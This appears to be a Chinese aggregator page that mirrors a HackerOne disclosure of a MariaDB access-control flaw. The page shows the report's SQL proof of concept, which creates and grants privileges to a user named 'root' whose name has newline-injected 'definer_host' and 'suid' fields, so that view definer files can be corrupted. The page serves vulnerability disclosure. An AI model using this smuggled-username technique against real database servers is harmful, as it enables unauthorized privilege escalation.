POJIA破甲
地图 / Privilege escalation via user controlled usernames / roles and views

Privilege escalation via user controlled usernames / roles and views

访问控制 / Unlabeled / #3880451

厂商
MariaDB
严重程度
未评级
赏金
—
弱点
Unlabeled
研究员
@vortfu
披露日期
2026-10-07
资产
MariaDB Server & Connectors - Access control bypass
CVE
CVE-2026-107823

该报告还没有中文解读。

原文摘录

摘自原文(2893 字符中的一小部分)
Assuming a scenario where a user has control over the usernames (or roles) that are provisioned for their db, they may escalate privileges via a username or role that contains newline characters since view definers are saved as raw `FILE_OPTIONS_STRING` values.
原文中的代码
DROP USER IF EXISTS 'root
definer_host=localhost
suid=1'@'localhost';

CREATE USER 'root
definer_host=localhost
suid=1'@'localhost'
  IDENTIFIED BY 'password';

GRANT ALL PRIVILEGES ON testdb.* TO 'root
definer_host=localhost
suid=1'@'localhost';

FLUSH PRIVILEGES;

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 MariaDB 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @vortfu · 版权归作者与 MariaDB 所有

同类报告

Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege Escalation to Any Shop Owner by Taking Advantage of the Shopify SSOShopify · 2020-04-01[Part II] Email Confirmation Bypass in myshop.myshopify.com that Leads to Full Privilege EscalationShopify · 2020-04-01Broken Access Control leads to disclosure of transaction history via /v2/rechargeTransactionHistory endpointMTN Group · 2025-03-02[Mail.Ru Android] Typo in permission name allows to write contacts without user knowledgeMail.ru · —Privilege Escalation to Root SSH Access via Pre-Receive Hook Environment in GitHub Enterprise ServerGitHub · 2024-09-13Improper State Validation on Sony WH-CH520 via BLE Command Service leads to unauthorized Bluetooth pairing and audio hijackingSony · —